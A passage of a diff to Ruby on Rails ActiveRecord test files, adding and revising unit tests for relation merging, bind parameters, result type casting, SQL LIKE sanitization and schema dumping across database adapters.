+      relation = Post.where('id in (:post_ids)', post_ids: david.posts.select(:id))
+      assert_equal davids_posts, relation.order(:id).to_a, 'should process Relation as named bind variables'
+    end
   end
 
   def test_find_all_using_where_with_relation_and_alternate_primary_key
@@ -659,13 +842,19 @@ class RelationTest < ActiveRecord::TestCase
     assert ! davids.exists?(authors(:mary).id)
     assert ! davids.exists?("42")
     assert ! davids.exists?(42)
-    assert ! davids.exists?(davids.new)
+    assert ! davids.exists?(davids.new.id)
 
     fake  = Author.where(:name => 'fake author')
     assert ! fake.exists?
     assert ! fake.exists?(authors(:david).id)
   end
 
+  def test_exists_uses_existing_scope
+    post = authors(:david).posts.first
+    authors = Author.includes(:posts).where(name: "David", posts: { id: post.id })
+    assert authors.exists?(authors(:david).id)
+  end
+
   def test_last
     authors = Author.all
     assert_equal authors(:bob), authors.last
@@ -704,8 +893,22 @@ class RelationTest < ActiveRecord::TestCase
     assert davids.loaded?
   end
 
-  def test_delete_all_limit_error
+  def test_delete_all_with_unpermitted_relation_raises_error
     assert_raises(ActiveRecord::ActiveRecordError) { Author.limit(10).delete_all }
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.uniq.delete_all }
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.group(:name).delete_all }
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.having('SUM(id) < 3').delete_all }
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.offset(10).delete_all }
+  end
+
+  def test_select_with_aggregates
+    posts = Post.select(:title, :body)
+
+    assert_equal 11, posts.count(:all)
+    assert_equal 11, posts.size
+    assert posts.any?
+    assert posts.many?
+    assert_not posts.empty?
   end
 
   def test_select_takes_a_variable_list_of_args
@@ -716,77 +919,15 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal david.salary, developer.salary
   end
 
-  def test_select_argument_error
-    assert_raises(ArgumentError) { Developer.select }
-  end
-
-  def test_relation_merging
-    devs = Developer.where("salary >= 80000").merge(Developer.limit(2)).merge(Developer.order('id ASC').where("id < 3"))
-    assert_equal [developers(:david), developers(:jamis)], devs.to_a
-
-    dev_with_count = Developer.limit(1).merge(Developer.order('id DESC')).merge(Developer.select('developers.*'))
-    assert_equal [developers(:poor_jamis)], dev_with_count.to_a
-  end
+  def test_select_takes_an_aliased_attribute
+    first = topics(:first)
 
-  def test_relation_to_sql
-    sql = Post.connection.unprepared_statement do
-      Post.first.comments.to_sql
-    end
-    assert_no_match(/\?/, sql)
-  end
-
-  def test_relation_merging_with_arel_equalities_keeps_last_equality
-    devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
-      Developer.where(Developer.arel_table[:salary].eq(9000))
-    )
-    assert_equal [developers(:poor_jamis)], devs.to_a
+    topic = Topic.where(id: first.id).select(:heading).first
+    assert_equal first.heading, topic.heading
   end
 
-  def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
-    salary_attr = Developer.arel_table[:salary]
-    devs = Developer.where(
-      Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(80000)
-    ).merge(
-      Developer.where(
-        Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(9000)
-      )
-    )
-    assert_equal [developers(:poor_jamis)], devs.to_a
-  end
-
-  def test_relation_merging_with_eager_load
-    relations = []
-    relations << Post.order('comments.id DESC').merge(Post.eager_load(:last_comment)).merge(Post.all)
-    relations << Post.eager_load(:last_comment).merge(Post.order('comments.id DESC')).merge(Post.all)
-
-    relations.each do |posts|
-      post = posts.find { |p| p.id == 1 }
-      assert_equal Post.find(1).last_comment, post.last_comment
-    end
-  end
-
-  def test_relation_merging_with_locks
-    devs = Developer.lock.where("salary >= 80000").order("id DESC").merge(Developer.limit(2))
-    assert devs.locked.present?
-  end
-
-  def test_relation_merging_with_preload
-    [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
-      assert_queries(2) { assert posts.first.author }
-    end
-  end
-
-  def test_relation_merging_with_joins
-    comments = Comment.joins(:post).where(:body => 'Thank you for the welcome').merge(Post.where(:body => 'Such a lovely day'))
-    assert_equal 1, comments.count
-  end
-
-  def test_relation_merging_with_association
-    assert_queries(2) do  # one for loading post, and another one merged query
-      post = Post.where(:body => 'Such a lovely day').first
-      comments = Comment.where(:body => 'Thank you for the welcome').merge(post.comments)
-      assert_equal 1, comments.count
-    end
+  def test_select_argument_error
+    assert_raises(ArgumentError) { Developer.select }
   end
 
   def test_count
@@ -800,6 +941,17 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal 9, posts.where(:comments_count => 0).count
   end
 
+  def test_count_on_association_relation
+    author = Author.last
+    another_author = Author.first
+    posts = Post.where(author_id: author.id)
+
+    assert_equal author.posts.where(author_id: author.id).size, posts.count
+
+    assert_equal 0, author.posts.where(author_id: another_author.id).size
+    assert author.posts.where(author_id: another_author.id).empty?
+  end
+
   def test_count_with_distinct
     posts = Post.all
 
@@ -810,6 +962,14 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal 11, posts.distinct(false).select(:comments_count).count
   end
 
+  def test_update_all_with_scope
+    tag = Tag.first
+    Post.tagged_with(tag.id).update_all title: "rofl"
+    list = Post.tagged_with(tag.id).all.to_a
+    assert_operator list.length, :>, 0
+    list.each { |post| assert_equal 'rofl', post.title }
+  end
+
   def test_count_explicit_columns
     Post.update_all(:comments_count => nil)
     posts = Post.all
@@ -1220,12 +1380,6 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal "id", Post.all.primary_key
   end
 
-  def test_disable_implicit_join_references_is_deprecated
-    assert_deprecated do
-      ActiveRecord::Base.disable_implicit_join_references = true
-    end
-  end
-
   def test_ordering_with_extra_spaces
     assert_equal authors(:david), Author.order('id DESC , name DESC').last
   end
@@ -1272,6 +1426,19 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal posts(:welcome),  comments(:greetings).post
   end
 
+  def test_update_on_relation
+    topic1 = TopicWithCallbacks.create! title: 'arel', author_name: nil
+    topic2 = TopicWithCallbacks.create! title: 'activerecord', author_name: nil
+    topics = TopicWithCallbacks.where(id: [topic1.id, topic2.id])
+    topics.update(title: 'adequaterecord')
+
+    assert_equal 'adequaterecord', topic1.reload.title
+    assert_equal 'adequaterecord', topic2.reload.title
+    # Testing that the before_update callbacks have run
+    assert_equal 'David', topic1.reload.author_name
+    assert_equal 'David', topic2.reload.author_name
+  end
+
   def test_distinct
     tag1 = Tag.create(:name => 'Foo')
     tag2 = Tag.create(:name => 'Foo')
@@ -1293,10 +1460,31 @@ class RelationTest < ActiveRecord::TestCase
 
   def test_doesnt_add_having_values_if_options_are_blank
     scope = Post.having('')
-    assert_equal [], scope.having_values
+    assert scope.having_clause.empty?
 
     scope = Post.having([])
-    assert_equal [], scope.having_values
+    assert scope.having_clause.empty?
+  end
+
+  def test_having_with_binds_for_both_where_and_having
+    post = Post.first
+    having_then_where = Post.having(id: post.id).where(title: post.title).group(:id)
+    where_then_having = Post.where(title: post.title).having(id: post.id).group(:id)
+
+    assert_equal [post], having_then_where
+    assert_equal [post], where_then_having
+  end
+
+  def test_multiple_where_and_having_clauses
+    post = Post.first
+    having_then_where = Post.having(id: post.id).where(title: post.title)
+      .having(id: post.id).where(title: post.title).group(:id)
+
+    assert_equal [post], having_then_where
+  end
+
+  def test_grouping_by_column_with_reserved_name
+    assert_equal [], Possession.select(:where).group(:where).to_a
   end
 
   def test_references_triggers_eager_loading
@@ -1318,6 +1506,14 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal ['comments'], scope.references_values
   end
 
+  def test_automatically_added_where_not_references
+    scope = Post.where.not(comments: { body: "Bla" })
+    assert_equal ['comments'], scope.references_values
+
+    scope = Post.where.not('comments.body' => 'Bla')
+    assert_equal ['comments'], scope.references_values
+  end
+
   def test_automatically_added_having_references
     scope = Post.having(:comments => { :body => "Bla" })
     assert_equal ['comments'], scope.references_values
@@ -1344,6 +1540,36 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal [], scope.references_values
   end
 
+  def test_automatically_added_reorder_references
+    scope = Post.reorder('comments.body')
+    assert_equal %w(comments), scope.references_values
+
+    scope = Post.reorder('comments.body', 'yaks.body')
+    assert_equal %w(comments yaks), scope.references_values
+
+    # Don't infer yaks, let's not go down that road again...
+    scope = Post.reorder('comments.body, yaks.body')
+    assert_equal %w(comments), scope.references_values
+
+    scope = Post.reorder('comments.body asc')
+    assert_equal %w(comments), scope.references_values
+
+    scope = Post.reorder('foo(comments.body)')
+    assert_equal [], scope.references_values
+  end
+
+  def test_order_with_reorder_nil_removes_the_order
+    relation = Post.order(:title).reorder(nil)
+
+    assert_nil relation.order_values.first
+  end
+
+  def test_reverse_order_with_reorder_nil_removes_the_order
+    relation = Post.order(:title).reverse_order.reorder(nil)
+
+    assert_nil relation.order_values.first
+  end
+
   def test_presence
     topics = Topic.all
 
@@ -1383,7 +1609,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   test "find_by doesn't have implicit ordering" do
-    assert_sql(/^((?!ORDER).)*$/) { Post.find_by(author_id: 2) }
+    assert_sql(/^((?!ORDER).)*$/) { Post.all.find_by(author_id: 2) }
   end
 
   test "find_by! with hash conditions returns the first matching record" do
@@ -1399,7 +1625,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   test "find_by! doesn't have implicit ordering" do
-    assert_sql(/^((?!ORDER).)*$/) { Post.find_by!(author_id: 2) }
+    assert_sql(/^((?!ORDER).)*$/) { Post.all.find_by!(author_id: 2) }
   end
 
   test "find_by! raises RecordNotFound if the record is missing" do
@@ -1444,6 +1670,14 @@ class RelationTest < ActiveRecord::TestCase
     end
   end
 
+  test "relations with cached arel can't be mutated [internal API]" do
+    relation = Post.all
+    relation.count
+
+    assert_raises(ActiveRecord::ImmutableRelation) { relation.limit!(5) }
+    assert_raises(ActiveRecord::ImmutableRelation) { relation.where!("1 = 2") }
+  end
+
   test "relations show the records in #inspect" do
     relation = Post.limit(2)
     assert_equal "#<ActiveRecord::Relation [#{Post.limit(2).map(&:inspect).join(', ')}]>", relation.inspect
@@ -1468,7 +1702,9 @@ class RelationTest < ActiveRecord::TestCase
   test 'using a custom table affects the wheres' do
     table_alias = Post.arel_table.alias('omg_posts')
 
-    relation = ActiveRecord::Relation.new Post, table_alias
+    table_metadata = ActiveRecord::TableMetadata.new(Post, table_alias)
+    predicate_builder = ActiveRecord::PredicateBuilder.new(table_metadata)
+    relation = ActiveRecord::Relation.new(Post, table_alias, predicate_builder)
     relation.where!(:foo => "bar")
 
     node = relation.arel.constraints.first.grep(Arel::Attributes::Attribute).first
@@ -1497,84 +1733,55 @@ class RelationTest < ActiveRecord::TestCase
     end
   end
 
+  test "joins with select" do
+    posts = Post.joins(:author).select("id", "authors.author_address_id").order("posts.id").limit(3)
+    assert_equal [1, 2, 4], posts.map(&:id)
+    assert_equal [1, 1, 1], posts.map(&:author_address_id)
+  end
+
   test "delegations do not leak to other classes" do
     Topic.all.by_lifo
     assert Topic.all.class.method_defined?(:by_lifo)
     assert !Post.all.respond_to?(:by_lifo)
   end
 
-  class OMGTopic < ActiveRecord::Base
-    self.table_name = 'topics'
-
-    def self.__omg__
-      "omgtopic"
-    end
-  end
-
-  test "delegations do not clash across classes" do
-    begin
-      class ::Array
-        def __omg__
-          "array"
-        end
-      end
-
-      assert_equal "array",    Topic.all.__omg__
-      assert_equal "omgtopic", OMGTopic.all.__omg__
-    ensure
-      Array.send(:remove_method, :__omg__)
-    end
-  end
-
-  test "merge collapses wheres from the LHS only" do
-    left  = Post.where(title: "omg").where(comments_count: 1)
-    right = Post.where(title: "wtf").where(title: "bbq")
-
-    expected = [left.where_values[1]] + right.where_values
-    merged   = left.merge(right)
+  def test_unscope_removes_binds
+    left  = Post.where(id: Arel::Nodes::BindParam.new)
+    column = Post.columns_hash['id']
+    left.bind_values += [[column, 20]]
 
-    assert_equal expected, merged.where_values
-    assert !merged.to_sql.include?("omg")
-    assert merged.to_sql.include?("wtf")
-    assert merged.to_sql.include?("bbq")
+    relation = left.unscope(where: :id)
+    assert_equal [], relation.bind_values
   end
 
   def test_merging_removes_rhs_bind_parameters
-    left  = Post.where(id: Arel::Nodes::BindParam.new('?'))
-    column = Post.columns_hash['id']
-    left.bind_values += [[column, 20]]
-    right   = Post.where(id: 10)
+    left  = Post.where(id: 20)
+    right   = Post.where(id: [1,2,3,4])
 
     merged = left.merge(right)
     assert_equal [], merged.bind_values
   end
 
   def test_merging_keeps_lhs_bind_parameters
-    column = Post.columns_hash['id']
-    binds = [[column, 20]]
+    binds = [ActiveRecord::Relation::QueryAttribute.new("id", 20, Post.type_for_attribute("id"))]
 
-    right  = Post.where(id: Arel::Nodes::BindParam.new('?'))
-    right.bind_values += binds
+    right  = Post.where(id: 20)
     left   = Post.where(id: 10)
 
     merged = left.merge(right)
-    assert_equal binds, merged.bind_values
+    assert_equal binds, merged.bound_attributes
   end
 
   def test_merging_reorders_bind_params
-    post         = Post.first
-    id_column    = Post.columns_hash['id']
-    title_column = Post.columns_hash['title']
-
-    bv = Post.connection.substitute_at id_column, 0
-
-    right  = Post.where(id: bv)
-    right.bind_values += [[id_column, post.id]]
-
-    left   = Post.where(title: bv)
-    left.bind_values += [[title_column, post.title]]
+    post  = Post.first
+    right = Post.where(id: post.id)
+    left  = Post.where(title: post.title)
 
     merged = left.merge(right)
     assert_equal post, merged.first
   end
+
+  def test_relation_join_method
+    assert_equal 'Thank you for the welcome,Thank you again for the welcome', Post.first.comments.join(",")
+  end
 end
diff --git a/activerecord/test/cases/result_test.rb b/activerecord/test/cases/result_test.rb
index b6c583dbf5..dec01dfa76 100644
--- a/activerecord/test/cases/result_test.rb
+++ b/activerecord/test/cases/result_test.rb
@@ -5,28 +5,76 @@ module ActiveRecord
     def result
       Result.new(['col_1', 'col_2'], [
         ['row 1 col 1', 'row 1 col 2'],
-        ['row 2 col 1', 'row 2 col 2']
+        ['row 2 col 1', 'row 2 col 2'],
+        ['row 3 col 1', 'row 3 col 2'],
       ])
     end
 
-    def test_to_hash_returns_row_hashes
+    test "length" do
+      assert_equal 3, result.length
+    end
+
+    test "to_hash returns row_hashes" do
       assert_equal [
         {'col_1' => 'row 1 col 1', 'col_2' => 'row 1 col 2'},
-        {'col_1' => 'row 2 col 1', 'col_2' => 'row 2 col 2'}
+        {'col_1' => 'row 2 col 1', 'col_2' => 'row 2 col 2'},
+        {'col_1' => 'row 3 col 1', 'col_2' => 'row 3 col 2'},
       ], result.to_hash
     end
 
-    def test_each_with_block_returns_row_hashes
+    test "each with block returns row hashes" do
       result.each do |row|
         assert_equal ['col_1', 'col_2'], row.keys
       end
     end
 
-    def test_each_without_block_returns_an_enumerator
+    test "each without block returns an enumerator" do
       result.each.with_index do |row, index|
         assert_equal ['col_1', 'col_2'], row.keys
         assert_kind_of Integer, index
       end
     end
+
+    if Enumerator.method_defined? :size
+      test "each without block returns a sized enumerator" do
+        assert_equal 3, result.each.size
+      end
+    end
+
+    test "cast_values returns rows after type casting" do
+      values = [["1.1", "2.2"], ["3.3", "4.4"]]
+      columns = ["col1", "col2"]
+      types = { "col1" => Type::Integer.new, "col2" => Type::Float.new }
+      result = Result.new(columns, values, types)
+
+      assert_equal [[1, 2.2], [3, 4.4]], result.cast_values
+    end
+
+    test "cast_values uses identity type for unknown types" do
+      values = [["1.1", "2.2"], ["3.3", "4.4"]]
+      columns = ["col1", "col2"]
+      types = { "col1" => Type::Integer.new }
+      result = Result.new(columns, values, types)
+
+      assert_equal [[1, "2.2"], [3, "4.4"]], result.cast_values
+    end
+
+    test "cast_values returns single dimensional array if single column" do
+      values = [["1.1"], ["3.3"]]
+      columns = ["col1"]
+      types = { "col1" => Type::Integer.new }
+      result = Result.new(columns, values, types)
+
+      assert_equal [1, 3], result.cast_values
+    end
+
+    test "cast_values can receive types to use instead" do
+      values = [["1.1", "2.2"], ["3.3", "4.4"]]
+      columns = ["col1", "col2"]
+      types = { "col1" => Type::Integer.new, "col2" => Type::Float.new }
+      result = Result.new(columns, values, types)
+
+      assert_equal [[1.1, 2.2], [3.3, 4.4]], result.cast_values("col1" => Type::Float.new)
+    end
   end
 end
diff --git a/activerecord/test/cases/sanitize_test.rb b/activerecord/test/cases/sanitize_test.rb
index 082570c55b..262e0abc22 100644
--- a/activerecord/test/cases/sanitize_test.rb
+++ b/activerecord/test/cases/sanitize_test.rb
@@ -1,19 +1,12 @@
 require "cases/helper"
 require 'models/binary'
+require 'models/author'
+require 'models/post'
 
 class SanitizeTest < ActiveRecord::TestCase
   def setup
   end
 
-  def test_sanitize_sql_hash_handles_associations
-    quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
-    quoted_column_name = ActiveRecord::Base.connection.quote_column_name("name")
-    quoted_table_name = ActiveRecord::Base.connection.quote_table_name("adorable_animals")
-    expected_value = "#{quoted_table_name}.#{quoted_column_name} = #{quoted_bambi}" 
-
-    assert_equal expected_value, Binary.send(:sanitize_sql_hash, {adorable_animals: {name: 'Bambi'}})
-  end
-
   def test_sanitize_sql_array_handles_string_interpolation
     quoted_bambi = ActiveRecord::Base.connection.quote_string("Bambi")
     assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi"])
@@ -31,4 +24,49 @@ class SanitizeTest < ActiveRecord::TestCase
     assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper"])
     assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper".mb_chars])
   end
+
+  def test_sanitize_sql_array_handles_relations
+    david = Author.create!(name: 'David')
+    david_posts = david.posts.select(:id)
+
+    sub_query_pattern = /\(\bselect\b.*?\bwhere\b.*?\)/i
+
+    select_author_sql = Post.send(:sanitize_sql_array, ['id in (?)', david_posts])
+    assert_match(sub_query_pattern, select_author_sql, 'should sanitize `Relation` as subquery for bind variables')
+
+    select_author_sql = Post.send(:sanitize_sql_array, ['id in (:post_ids)', post_ids: david_posts])
+    assert_match(sub_query_pattern, select_author_sql, 'should sanitize `Relation` as subquery for named bind variables')
+  end
+
+  def test_sanitize_sql_array_handles_empty_statement
+    select_author_sql = Post.send(:sanitize_sql_array, [''])
+    assert_equal('', select_author_sql)
+  end
+
+  def test_sanitize_sql_like
+    assert_equal '100\%', Binary.send(:sanitize_sql_like, '100%')
+    assert_equal 'snake\_cased\_string', Binary.send(:sanitize_sql_like, 'snake_cased_string')
+    assert_equal 'C:\\\\Programs\\\\MsPaint', Binary.send(:sanitize_sql_like, 'C:\\Programs\\MsPaint')
+    assert_equal 'normal string 42', Binary.send(:sanitize_sql_like, 'normal string 42')
+  end
+
+  def test_sanitize_sql_like_with_custom_escape_character
+    assert_equal '100!%', Binary.send(:sanitize_sql_like, '100%', '!')
+    assert_equal 'snake!_cased!_string', Binary.send(:sanitize_sql_like, 'snake_cased_string', '!')
+    assert_equal 'great!!', Binary.send(:sanitize_sql_like, 'great!', '!')
+    assert_equal 'C:\\Programs\\MsPaint', Binary.send(:sanitize_sql_like, 'C:\\Programs\\MsPaint', '!')
+    assert_equal 'normal string 42', Binary.send(:sanitize_sql_like, 'normal string 42', '!')
+  end
+
+  def test_sanitize_sql_like_example_use_case
+    searchable_post = Class.new(Post) do
+      def self.search(term)
+        where("title LIKE ?", sanitize_sql_like(term, '!'))
+      end
+    end
+
+    assert_sql(/LIKE '20!% !_reduction!_!!'/) do
+      searchable_post.search("20% _reduction_!").to_a
+    end
+  end
 end
diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb
index a48ae1036f..bafc9fa81b 100644
--- a/activerecord/test/cases/schema_dumper_test.rb
+++ b/activerecord/test/cases/schema_dumper_test.rb
@@ -1,31 +1,36 @@
 require "cases/helper"
+require 'support/schema_dumping_helper'
 
 class SchemaDumperTest < ActiveRecord::TestCase
-  def setup
-    super
+  include SchemaDumpingHelper
+  self.use_transactional_fixtures = false
+
+  setup do
     ActiveRecord::SchemaMigration.create_table
-    @stream = StringIO.new
   end
 
   def standard_dump
-    @stream = StringIO.new
-    ActiveRecord::SchemaDumper.ignore_tables = []
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, @stream)
-    @stream.string
+    @@standard_dump ||= perform_schema_dump
+  end
+
+  def perform_schema_dump
+    dump_all_table_schema []
   end
 
   def test_dump_schema_information_outputs_lexically_ordered_versions
     versions = %w{ 20100101010101 20100201010101 20100301010101 }
-    versions.reverse.each do |v|
+    versions.reverse_each do |v|
       ActiveRecord::SchemaMigration.create!(:version => v)
     end
 
     schema_info = ActiveRecord::Base.connection.dump_schema_information
     assert_match(/20100201010101.*20100301010101/m, schema_info)
+  ensure
+    ActiveRecord::SchemaMigration.delete_all
   end
 
   def test_magic_comment
-    assert_match "# encoding: #{@stream.external_encoding.name}", standard_dump
+    assert_match "# encoding: #{Encoding.default_external.name}", standard_dump
   end
 
   def test_schema_dump
@@ -35,6 +40,11 @@ class SchemaDumperTest < ActiveRecord::TestCase
     assert_no_match %r{create_table "schema_migrations"}, output
   end
 
+  def test_schema_dump_uses_force_cascade_on_create_table
+    output = dump_table_schema "authors"
+    assert_match %r{create_table "authors", force: :cascade}, output
+  end
+
   def test_schema_dump_excludes_sqlite_sequence
     output = standard_dump
     assert_no_match %r{create_table "sqlite_sequence"}, output
@@ -63,10 +73,10 @@ class SchemaDumperTest < ActiveRecord::TestCase
       next if column_set.empty?
 
       lengths = column_set.map do |column|
-        if match = column.match(/t\.(?:integer|decimal|float|datetime|timestamp|time|date|text|binary|string|boolean)\s+"/)
+        if match = column.match(/t\.(?:integer|decimal|float|datetime|timestamp|time|date|text|binary|string|boolean|xml|uuid|point)\s+"/)
           match[0].length
         end
-      end
+      end.compact
 
       assert_equal 1, lengths.uniq.length
     end
@@ -86,22 +96,18 @@ class SchemaDumperTest < ActiveRecord::TestCase
   end
 
   def test_schema_dump_includes_not_null_columns
-    stream = StringIO.new
-
-    ActiveRecord::SchemaDumper.ignore_tables = [/^[^r]/]
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    output = stream.string
+    output = dump_all_table_schema([/^[^r]/])
     assert_match %r{null: false}, output
   end
 
   def test_schema_dump_includes_limit_constraint_for_integer_columns
-    stream = StringIO.new
+    output = dump_all_table_schema([/^(?!integer_limits)/])
 
-    ActiveRecord::SchemaDumper.ignore_tables = [/^(?!integer_limits)/]
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    output = stream.string
+    assert_match %r{c_int_without_limit}, output
 
     if current_adapter?(:PostgreSQLAdapter)
+      assert_no_match %r{c_int_without_limit.*limit:}, output
+
       assert_match %r{c_int_1.*limit: 2}, output
       assert_match %r{c_int_2.*limit: 2}, output
 
@@ -112,6 +118,8 @@ class SchemaDumperTest < ActiveRecord::TestCase
       assert_match %r{c_int_4.*}, output
       assert_no_match %r{c_int_4.*limit:}, output
     elsif current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+      assert_match %r{c_int_without_limit.*limit: 4}, output
+
       assert_match %r{c_int_1.*limit: 1}, output
       assert_match %r{c_int_2.*limit: 2}, output
       assert_match %r{c_int_3.*limit: 3}, output
@@ -119,13 +127,13 @@ class SchemaDumperTest < ActiveRecord::TestCase
       assert_match %r{c_int_4.*}, output
       assert_no_match %r{c_int_4.*:limit}, output
     elsif current_adapter?(:SQLite3Adapter)
+      assert_no_match %r{c_int_without_limit.*limit:}, output
+
       assert_match %r{c_int_1.*limit: 1}, output
       assert_match %r{c_int_2.*limit: 2}, output
       assert_match %r{c_int_3.*limit: 3}, output
       assert_match %r{c_int_4.*limit: 4}, output
     end
-    assert_match %r{c_int_without_limit.*}, output
-    assert_no_match %r{c_int_without_limit.*limit:}, output
 
     if current_adapter?(:SQLite3Adapter)
       assert_match %r{c_int_5.*limit: 5}, output
@@ -146,38 +154,22 @@ class SchemaDumperTest < ActiveRecord::TestCase
   end
 
   def test_schema_dump_with_string_ignored_table
-    stream = StringIO.new
-
-    ActiveRecord::SchemaDumper.ignore_tables = ['accounts']
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    output = stream.string
+    output = dump_all_table_schema(['accounts'])
     assert_no_match %r{create_table "accounts"}, output
     assert_match %r{create_table "authors"}, output
     assert_no_match %r{create_table "schema_migrations"}, output
   end
 
   def test_schema_dump_with_regexp_ignored_table
-    stream = StringIO.new
-
-    ActiveRecord::SchemaDumper.ignore_tables = [/^account/]
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    output = stream.string
+    output = dump_all_table_schema([/^account/])
     assert_no_match %r{create_table "accounts"}, output
     assert_match %r{create_table "authors"}, output
     assert_no_match %r{create_table "schema_migrations"}, output
   end
 
-  def test_schema_dump_illegal_ignored_table_value
-    stream = StringIO.new
-    ActiveRecord::SchemaDumper.ignore_tables = [5]
-    assert_raise(StandardError) do
-      ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    end
-  end
-
   def test_schema_dumps_index_columns_in_right_order
     index_definition = standard_dump.split(/\n/).grep(/add_index.*companies/).first.strip
-    if current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter) || current_adapter?(:PostgreSQLAdapter)
+    if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
       assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index", using: :btree', index_definition
     else
       assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index"', index_definition
@@ -188,8 +180,10 @@ class SchemaDumperTest < ActiveRecord::TestCase
     index_definition = standard_dump.split(/\n/).grep(/add_index.*company_partial_index/).first.strip
     if current_adapter?(:PostgreSQLAdapter)
       assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "(rating > 10)", using: :btree', index_definition
-    elsif current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter)
+    elsif current_adapter?(:MysqlAdapter, :Mysql2Adapter)
       assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", using: :btree', index_definition
+    elsif current_adapter?(:SQLite3Adapter) && ActiveRecord::Base.connection.supports_partial_index?
+      assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "rating > 10"', index_definition
     else
       assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index"', index_definition
     end
@@ -202,28 +196,33 @@ class SchemaDumperTest < ActiveRecord::TestCase
     assert_match %r(primary_key: "movieid"), match[1], "non-standard primary key not preserved"
   end
 
+  def test_schema_dump_should_use_false_as_default
+    output = standard_dump
+    assert_match %r{t\.boolean\s+"has_fun",.+default: false}, output
+  end
+
   if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
-    def test_schema_dump_should_not_add_default_value_for_mysql_text_field
+    def test_schema_dump_should_add_default_value_for_mysql_text_field
       output = standard_dump
-      assert_match %r{t.text\s+"body",\s+null: false$}, output
+      assert_match %r{t\.text\s+"body",\s+limit: 65535,\s+null: false$}, output
     end
 
     def test_schema_dump_includes_length_for_mysql_binary_fields
       output = standard_dump
-      assert_match %r{t.binary\s+"var_binary",\s+limit: 255$}, output
-      assert_match %r{t.binary\s+"var_binary_large",\s+limit: 4095$}, output
+      assert_match %r{t\.binary\s+"var_binary",\s+limit: 255$}, output
+      assert_match %r{t\.binary\s+"var_binary_large",\s+limit: 4095$}, output
     end
 
     def test_schema_dump_includes_length_for_mysql_blob_and_text_fields
       output = standard_dump
-      assert_match %r{t.binary\s+"tiny_blob",\s+limit: 255$}, output
-      assert_match %r{t.binary\s+"normal_blob"$}, output
-      assert_match %r{t.binary\s+"medium_blob",\s+limit: 16777215$}, output
-      assert_match %r{t.binary\s+"long_blob",\s+limit: 2147483647$}, output
-      assert_match %r{t.text\s+"tiny_text",\s+limit: 255$}, output
-      assert_match %r{t.text\s+"normal_text"$}, output
-      assert_match %r{t.text\s+"medium_text",\s+limit: 16777215$}, output
-      assert_match %r{t.text\s+"long_text",\s+limit: 2147483647$}, output
+      assert_match %r{t\.binary\s+"tiny_blob",\s+limit: 255$}, output
+      assert_match %r{t\.binary\s+"normal_blob",\s+limit: 65535$}, output
+      assert_match %r{t\.binary\s+"medium_blob",\s+limit: 16777215$}, output
+      assert_match %r{t\.binary\s+"long_blob",\s+limit: 4294967295$}, output
+      assert_match %r{t\.text\s+"tiny_text",\s+limit: 255$}, output
+      assert_match %r{t\.text\s+"normal_text",\s+limit: 65535$}, output
+      assert_match %r{t\.text\s+"medium_text",\s+limit: 16777215$}, output
+      assert_match %r{t\.text\s+"long_text",\s+limit: 4294967295$}, output
     end
 
     def test_schema_dumps_index_type
@@ -233,103 +232,37 @@ class SchemaDumperTest < ActiveRecord::TestCase
     end
   end
 
+  if mysql_56?
+    def test_schema_dump_includes_datetime_precision
+      output = standard_dump
+      assert_match %r{t\.datetime\s+"written_on",\s+precision: 6$}, output
+    end
+  end
+
   def test_schema_dump_includes_decimal_options
-    stream = StringIO.new
-    ActiveRecord::SchemaDumper.ignore_tables = [/^[^n]/]
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    output = stream.string
-    assert_match %r{precision: 3,[[:space:]]+scale: 2,[[:space:]]+default: 2.78}, output
+    output = dump_all_table_schema([/^[^n]/])
+    assert_match %r{precision: 3,[[:space:]]+scale: 2,[[:space:]]+default: 2\.78}, output
   end
 
   if current_adapter?(:PostgreSQLAdapter)
     def test_schema_dump_includes_bigint_default
       output = standard_dump
-      assert_match %r{t.integer\s+"bigint_default",\s+limit: 8,\s+default: 0}, output
+      assert_match %r{t\.integer\s+"bigint_default",\s+limit: 8,\s+default: 0}, output
     end
 
-    def test_schema_dump_includes_extensions
